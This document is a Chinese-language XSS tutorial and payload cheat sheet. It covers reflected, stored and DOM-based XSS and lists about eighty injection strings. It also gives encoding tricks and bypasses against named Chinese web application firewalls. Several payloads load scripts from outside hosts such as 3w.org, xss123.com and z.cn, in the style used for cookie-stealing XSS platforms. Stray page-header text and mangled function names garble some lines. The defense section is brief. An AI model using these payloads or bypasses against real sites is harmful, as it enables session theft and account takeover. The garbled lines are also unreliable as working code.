一、跨站脚本攻击
1.XSS 漏洞简介
XSS 原理是攻击者利用浏览器执行前端代码(HTML、CSS、JavaScript)的特性,将恶意 JavaScript 代码插入到 web 页面中,当用户浏览到该页面时,这些嵌入在 web 页面中的代码就会被执行,从而达到攻击者的攻击目的。
2.产生原理
web 应用程序对用户输入内容和程序输出的内容没有经过严格的校验和过滤,导致攻击者构造恶意的代码带入后,又被程序当作正常代码输出至前端页面,浏览器当作有效代码进行解析执行。
3.漏洞危害
- 网站挂马(webshell)-->攻击性木马(Google)
- 非法转账(Cookie 窃取)
- 强制发送电子邮件
- 控制受害者及其向其他网站发起攻击
- 盗窃企业重要的具有商业价值的资料
- 控制企业数据、包括读取、篡改、添加、删除企业敏感数据
- 盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
4.漏洞分类
反射型、存储型、DOM 型XSS
5.反射型 XSS
5.1 定义
反射型 XSS 又称非持久性 XSS,反射型 XSS的恶意代码在 web 应用参数中,需要诱骗受害者点击访问含有恶意代码的链接,从而触发XSS攻击。
5.2 特点
反射型XSS攻击方式是一次性的。
5.3 攻击方式
5.4 攻击流程
- 攻击者将Payload放置在URL连接中(针对的是GET型反射XSS)
- 通过社会工程学使用户点击改恶意链接
- Web服务器将XSS代码(JavaScript代码)视图返回给客户端
- 客户端解析视图以及XSS代码(JavaScript代码),并执行结果发送到XSS平台
- 攻击者访问XSS平台,读取窃取到的用户敏感信息(Cookid)
5.5 代码分析
在反射型 xss 代码中。首先需要判断$_GET['mssage'] 是否等于某个值,如果不是则在页面中将$_['mssage'] 复制给某一变量中,而且没有任何过滤在输出到页面中,所以直接输入页面会直接输出 xss 信息,就会造成 xss 攻击。
5.6payload
- <script>confirm(/test/)</script>
- <script>alert(1)</script>
- <script>prompt(1)</script>
- <img src=x οnerrοr=alert(1)>
- <script>console.log(1)</script>
6.存储型 XSS
6.1 定义
存储型XSS又称持久性跨站脚本,持久性体现在XSS代码不在某个参数中,而是写进数据库或文件中存储型XSS通常发生在留言板、发布文章的地方。如果插入数据时没有经过严格过滤,那么恶意代码将会被存储到数据库中,当用户访问该页面、文章、留言内容时触发代码加载执行。
6.2 特点
攻击脚本将被永久性的存放到目标服务器的数据库或文件中,具有很高得隐蔽性。
6.3 漏洞产生原因原因
由于Web应用程序对用户输入数据的不严格,导致Web应用程序将黑客输入的恶意跨站攻击数据信息保存在服务端的数据库或其他文件形式中。
6.4 攻击方式
这种攻击常见于论坛、博客、留言板等,攻击者在写入内容时连同恶意代码一同写入到文件或数据库中,恶意脚本被永久性得存放在服务器得后端存储器中,当其他用户浏览到这个页面时,恶意脚本会在用户浏览器中加载执行造成XSS攻击。
6.5 攻击流程
- 攻击者向 web 界面插入恶意的 XSS 攻击代码
- web 服务器会将其保存到数据库中
- 用户正常访问Web页面
- Web页面将数据库的数据以及视图返回给前端,前端渲染并加载恶意的数据
- 客户端渲染视图,加载XSS代码并向攻击者的Web服务器发送敏感信息
- 攻击者读取用户的敏感信息
7.DOM 型 XSS
7.1 定义
DOM 型 XSS 的攻击代码不需要服务器解析响应,触发 XSS 靠的是浏览器的 DOM 解析,当 JS 脚本从 URL 或页面中获得数据并将其传递到支持动态代码执行的接收器时,就会产生 DOM 型 XSS 漏洞。
7.2 攻击流程
- 攻击者将payload 放置在 url 链接中(针对 GET 型反射 XSS)
- 用户点击恶意链接,并打开浏览器
- 此时浏览器客户端并不会发起 HTTP 请求到 web 服务器,而是在浏览器客户端执行 XSS 代码
- 此时将 XSS 代码代码执行结果发送给攻击者的恶意服务器
- 攻击者访问自己的 XSS 平台并读取用户的敏感信息
8.XSS 攻击类型区别
9.XSS 测试语句
<h1>123123</h1>
<script>alert(1)</script>
<script>console.log('xss')</script>
<img src=x οnerrοr=alert(1)>
<svg οnlοad=alert(1)>
<a href=javascript:alert(1)>
<a href='javascript:alert(1)'>aa</a>
(1)普通的 XSS JavaScript 注入
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
(2)IMG 标签 XSS 使用 JavaScript 命令
<IMG SRC=http://3w.org/XSS/xss.js/>
(3)IMG 标签无分号无引号
<IMG SRC=javascript:alert('XSS')>
(4)IMG 标签大小写不敏感
<IMG SRC=JaVaScRiPt:alert('XSS')>
(5)HTML 编码(必须有分号)
<IMG SRC=javascript:alert("XSS")>
(6)修正缺陷 IMG 标签
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
(7)formCharCode 标签(计算器)
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
(8)UTF-8 的 Unicode 编码(计算器)
<IMG SRC=jav..省略..S')>
(9)7 位的 UTF-8 的 Unicode 编码是没有分号的(计算器)
<IMG SRC=jav..省略..S')>
(10)十六进制编码也是没有分号(计算器)
<IMG SRC=java..省略..XSS')>
(11)嵌入式标签,将 Javascript 分开
<IMG SRC="jav ascript:alert('XSS');">
(12)嵌入式编码标签,将 Javascript 分开
<IMG SRC="jav ascript:alert('XSS');">
(13)嵌入式换行符
<IMG SRC="jav ascript:alert('XSS');">
(14)嵌入式回车
<IMG SRC="jav ascript:alert('XSS');">
(15)嵌入式多行注入 JavaScript,这是 XSS 极端的例子
<IMG SRC="javascript:alert('XSS')">
(16)解决限制字符(要求同页面)
<script>z='document.'</script><script>z=z+'write("'</script><script>z=z+'<script'</script><s
cript>z=z+'
src=ht'</script><script>z=z+'tp://ww'</script><script>z=z+'w.shell'</script><script>z=z+'.ne
t/1.'</script><script>z=z+'js></sc'</script><script>z=z+'ript>")'</script><script>eval_r(z)<
/script>
(17)空字符 12-7-1 T00LS - Powered by Discuz! Board
https://www.a.com/viewthread.php?action=printable&tid=15267 2/6perl -e 'print "<IMG
SRC=java\0script:alert(\"XSS\")>";' > out
(18)空字符 2,空字符在国内基本没效果.因为没有地方可以利用
perl -e 'print "<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>";' > out
(19)Spaces 和 meta 前的 IMG 标签
<IMG SRC=" javascript:alert('XSS');">
(20)Non-alpha-non-digit XSS
<SCRIPT/XSS SRC="http://3w.org/XSS/xss.js"></SCRIPT>
(21)Non-alpha-non-digit XSS to 2
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
(22)Non-alpha-non-digit XSS to 3
<SCRIPT/SRC="http://3w.org/XSS/xss.js"></SCRIPT>
(23)双开括号
<<SCRIPT>alert("XSS");//<</SCRIPT>
(24)无结束脚本标记(仅火狐等浏览器)
<SCRIPT SRChttp://3w.org/XSS/xss.js?<B>
(25)无结束脚本标记 2
<SCRIPT SRC=//3w.org/XSS/xss.js>
(26)半开的 HTML/JavaScript XSS
<IMG SRC="javascript:alert('XSS')"
(27)双开角括号
<iframe src=http://3w.org/XSS.html <
(28)无单引号 双引号 分号
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
(29)换码过滤的 JavaScript
\";alert('XSS');//
(30)结束 Title 标签
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
(31)Input Image
<INPUT SRC="javascript:alert('XSS');">
(32)BODY Image
<BODY BACKGROUND="javascript:alert('XSS')">
(33)BODY 标签
<BODY('XSS')>
(34)IMG Dynsrc
<IMG DYNSRC="javascript:alert('XSS')">
(35)IMG Lowsrc
<IMG LOWSRC="javascript:alert('XSS')">
(36)BGSOUND
<BGSOUND SRC="javascript:alert('XSS');">
(37)STYLE sheet
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
(38)远程样式表
<LINK REL="stylesheet" HREF="http://3w.org/xss.css">
(39)List-style-image(列表式)
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS
(40)IMG VBscript
<IMG SRC='vbscript:msgbox("XSS")'></STYLE><UL><LI>XSS
(41)META 链接 url
<META HTTP-EQUIV="refresh" CONTENT="0;URL=http://;URL=javascript:alert('XSS');">
(42)Iframe
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
(43)Frame
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>12-7-1 T00LS - Powered by Discuz!
Boardhttps://www.a.com/viewthread.php?action=printable&tid=15267 3/6
(44)Table
<TABLE BACKGROUND="javascript:alert('XSS')">
(45)TD
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
(46)DIV background-image
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
(47)DIV background-image 后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
(48)DIV expression
<DIV STYLE="width: expression_r(alert('XSS'));">
(49)STYLE 属性分拆表达
<IMG STYLE="xss:expression_r(alert('XSS'))">
(50)匿名 STYLE(组成:开角号和一个字母开头)
<XSS STYLE="xss:expression_r(alert('XSS'))">
(51)STYLE background-image
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><ACLASS=XSS></A>
(52)IMG STYLE 方式
exppression(alert("XSS"))'>
(53)STYLE background
<STYLE><STYLEtype="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
(54)BASE
<BASE HREF="javascript:alert('XSS');//">
(55)EMBED 标签,你可以嵌入 FLASH,其中包涵 XSS
<EMBED SRC="http://3w.org/XSS/xss.swf" ></EMBED>
(56)在 flash 中使用 ActionScrpt 可以混进你 XSS 的代码
a="get";b="URL(\"";c="javascript:";d="alert('XSS');\")";eval_r(a+b+c+d);
(57)XML namespace.HTC 文件必须和你的 XSS 载体在一台服务器上
<HTML xmlns:xss><?import namespace="xss"
implementation="http://3w.org/XSS/xss.htc"><xss:xss>XSS</xss:xss></HTML>
(58)如果过滤了你的 JS 你可以在图片里添加 JS 代码来利用
<SCRIPT SRC=""></SCRIPT>
(59)IMG 嵌入式命令,可执行任意命令
<IMG SRC="http://www.a.com/a.php?a=b">
(60)IMG 嵌入式命令(a.jpg 在同服务器)
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
(61)绕符号过滤
<SCRIPT a=">" SRC="http://3w.org/xss.js"></SCRIPT>
(62)<SCRIPT =">" SRC="http://3w.org/xss.js"></SCRIPT>
(63)<SCRIPT a=">" " SRC="http://3w.org/xss.js"></SCRIPT>
(64)<SCRIPT "a='>'" SRC="http://3w.org/xss.js"></SCRIPT>
(65)<SCRIPT a=`>` SRC="http://3w.org/xss.js"></SCRIPT>
(66)12-7-1 T00LS - Powered by Discuz! Board
https://www.a.com/viewthread.php?action=printable&tid=15267 4/6<SCRIPT a=">'>"
SRC="http://3w.org/xss.js"></SCRIPT>
(67)<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://3w.org/xss.js"></SCRIPT>
(68)URL 绕行
<A HREF="http://127.0.0.1/">XSS</A>
(69)URL 编码
<A HREF="http://3w.org">XSS</A>
(70)IP 十进制
<A HREF="http://3232235521″>XSS</A>
(71)IP 十六进制
<A HREF="http://0xc0.0xa8.0×00.0×01″>XSS</A>
(72)IP 八进制
<A HREF="http://0300.0250.0000.0001″>XSS</A>
(73)混合编码
<A HREF="http://6 6.000146.0×7.147/"">XSS</A>
(74)节省[http:]
<A HREF="//www.google.com/">XSS</A>
(75)节省[www]
<A HREF="http://google.com/">XSS</A>
(76)绝对点绝对 DNS
<A HREF="http://www.google.com./">XSS</A>
(77)javascript 链接
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>
二、XSS绕过与挖掘
1. 绕过原理
在程序里如果使用 html 实体过滤,在 php 会使用 htmlspecialchars()对输入的字符进行实体化,实体化之后的字符不会在 html 执行。把预定义的字符 "<" (小于) 和 ">" (大于)转换为 HTML 实体,构造 xss 恶意代码大多数都必须使用<或 者>,这两个字符被实体化后在 html 里就不能执行了;
2.XSS 绕过方法
1.过滤 Alert
<script>prompt(/xss/);</script>
<script>confirm(1);</script>
<script>console.log(1);</script>
<script src=http://www.xss123.com/eciAKj?1623635663></script>
2.GPC 过滤字符
GPC 开启时特殊字符会被加上斜杠,即:/',绕过 gpc 在 php 高版本 gpc 默认是没有的,但是开发程序员会使用 addcslashes() 对特殊字符进行转义。
<script src=//www.xss123.com/JGdbsl?1623638390></script>
3.Ascii 编码
# fromCharCode() 可接受一个指定的 Unicode 值,然后返回一个字符串
<script>alert(String.fromCharCode(88,83,83))</script>
4.URL 编码
<a href="javascript:%61%6c%65%72%74%28%32%29">123</a>
5.JS 编码
<script>eval("\141\154\145\162\164\50\61\51");</script> //八进制编码
<script>eval("\x61\x6c\x65\x72\x74\x28\x31\x29")</script> //16 进制编码
<script>\u0061\u006c\u0065\u0072\u0074('xss');</script> // jsunicode 编码
6.HTML 编码绕过
<img src="x" οnerrοr="alert(1)" />
<button οnclick="confirm('7');">Button</button> //十进制
<img src="x" οnerrοr="alert(1)/> //十六进制
7.Base64 编码绕过
<a href = "data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">111</a>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>
8.构造时间绕过
如果不能依靠属性进行跨站,那么还可以利用事件处理函数
9.其他绕过方法
<a href="javascript:alert(1)">test</a>
<input onlick="alert(1)">
函数拼接绕过
<img src="x" οnerrοr="eval('al'+'ert(1)')">
<img src="x" οnerrοr="top['al'+'ert'](1)">
<img src="x" οnerrοr="window['al'+'ert'](1)">
<img src="x" οnerrοr="self[`al`+`ert`](1)">
<img src="x" οnerrοr="parent[`al`+`ert`](1)">
<img src="x" οnerrοr="frames[`al`+`ert`](1)">
10.相关 WAF 拦截绕过
10.1 安全狗
<video/src/οnerrοr=top[`al`%2B`ert`](1);>
<video/src/οnerrοr=appendChild(createElement("script")).src="//z.cn">
10.2D 盾
<video/src/οnlοadstart=top[`al`%2B`ert`](1);>
<video/src/οnlοadstart=top[a='al',b='ev',b%2ba(appendChild(createElement(`script`)).src=`//z.cn`);>
10.3 云锁+奇安信
<video/src/οnlοadstart=top[`al`%2B`ert`](1);>
<video/src/οnlοadstart=top[a='al',b='ev',b%2ba(appendChild(createElement(`script`)).src=`//z.cn`);>
三、漏洞防御
输入检查:白名单、同时在客户端 JavaScript 中和服务器端代码中实现相同的输入检查
输出检查:HTML 编码、JS 转义
HttpOnly:(httponly 解决的是 xss 的 cookie 攻击)表单劫持、保存读取
四、漏洞挖掘
1. 挖掘方法
寻找用户输入内容会被显示到页面的功能点(搜索框、登录框)
寻找用户插入到数据库中的数据,会被展示到页面的功能点(注册框、留言板)
2.实操
DOM 型 xss